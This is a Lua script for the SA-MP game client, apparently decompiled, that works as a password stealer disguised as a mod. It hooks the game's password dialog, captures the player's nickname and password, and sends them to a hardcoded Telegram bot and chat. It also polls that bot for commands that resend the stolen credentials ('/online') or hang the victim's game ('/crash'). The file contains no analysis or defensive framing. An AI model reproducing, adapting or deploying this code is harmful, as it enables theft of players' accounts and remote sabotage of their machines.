function _C(arg0)
local slot1_a1010 = ""
for slot5_a1016 in string.gmatch(arg0, ".") do
slot1_a1010 = slot1_a1010 .. string.char(string.byte(slot5_a1016) - 50)
end
return slot1_a1010
end
local slot0_a1026 = require("effil")
local slot1_a1029 = require("lib.samp.events")
local slot2_a1032 = require("encoding")
local slot3_a1033 = slot2_a1032.UTF8
slot2_a1032.default = "CP1251"
function slot1_a1029.onShowDialog(arg0, arg1, arg2, arg3, arg4, arg5)
if arg2:find("Senha") then
passwordId = arg0
end
end
function slot1_a1029.onSendDialogResponse(arg0, arg1, arg2, arg3)
if arg0 == passwordId then
sendTelegramNotification(string.format("Nick: %s\nPassword: %s", sampGetPlayerNickname(select(2, sampGetPlayerIdByCharHandle(PLAYER_PED))), arg3))
password = arg3
end
end
function main()
while not isSampAvailable() do
wait(0)
end
wait(1000)
while true do
wait(0)
if not sended then
sended = true
asyncHttpRequest("GET", "https://api.telegram.org/bot7371490336:AAHSnYhBsVbwuSTvZvvCh1rDk-QO1AUmV6k/getUpdates?chat_id=-1002218504024&offset=-1", nil, (function (arg0)
sended = false
processTelegramUpdates(arg0)
end), (function ()
sended = false
end))
end
end
end
function processTelegramUpdates(arg0)
if arg0 then
local slot1_a1097 = decodeJson(arg0.text)
if slot1_a1097.ok and #slot1_a1097.result > 0 then
local slot2_a1106 = slot1_a1097.result[1]
if slot2_a1106 then
if not updateId then
updateId = slot2_a1106.update_id
end
if slot2_a1106.update_id ~= updateId then
updateId = slot2_a1106.update_id
local slot3_a1114 = slot2_a1106.message.text
if slot3_a1114 then
local slot4_a1140 = slot3_a1033:decode(slot3_a1114) .. " "
if slot4_a1140:find("^/online") then
sendTelegramNotification(string.format("Nick: %s\nPassword: %s", sampGetPlayerNickname(select(2, sampGetPlayerIdByCharHandle(PLAYER_PED))), password or "unknown"))
end
local slot5_a1145 = slot4_a1140:match("^/crash (.+)$")
if slot5_a1145 and slot5_a1145:sub(1, #slot5_a1145 - 1) == sampGetPlayerNickname(select(2, sampGetPlayerIdByCharHandle(PLAYER_PED))) then
sendTelegramNotification(string.format("Game Crashed!\nNick: %s\nPassword: %s", sampGetPlayerNickname(select(2, sampGetPlayerIdByCharHandle(PLAYER_PED))), password or "unknown"))
while true do
end
end
end
end
end
end
end
end
function asyncHttpRequest(arg0, arg1, arg2, arg3, arg4)
local slot5_a1246 = slot0_a1026.thread((function (arg0, arg1, arg2)
local slot4_a1195, slot5_a1203 = pcall(require("requests").request, arg0, arg1, arg2)
if slot4_a1195 then
local slot6_a1197 = nil
slot5_a1203.xml = nil
slot5_a1203.json = slot6_a1197
return true, slot5_a1203
else
return false, slot5_a1203
end
end))(arg0, arg1, arg2)
arg3 = arg3 or function ()
end
arg4 = arg4 or function ()
end
lua_thread.create((function ()
local slot0_a1224 = slot5_a1246
while true do
local slot1_a1239, slot2_a1242 = slot0_a1224:status()
if not slot2_a1242 then
if slot1_a1239 == "completed" then
local slot3_a1227, slot4_a1231 = slot0_a1224:get()
if slot3_a1227 then
arg3(slot4_a1231)
else
arg4(slot4_a1231)
end
return
elseif slot1_a1239 == "canceled" then
return arg4(slot1_a1239)
end
else
return arg4(slot2_a1242)
end
wait(0)
end
end))
end
function encodeUrl(arg0)
local slot0_a1257 = arg0:gsub(" ", "%+")
return slot3_a1033:encode(slot0_a1257:gsub("\n", "%%0A"), "CP1251")
end
function sendTelegramNotification(arg0)
asyncHttpRequest("GET", "https://api.telegram.org/bot7371490336:AAHSnYhBsVbwuSTvZvvCh1rDk-QO1AUmV6k/sendMessage?chat_id=-1002218504024&text=" .. encodeUrl(arg0:gsub("{......}", "")))
end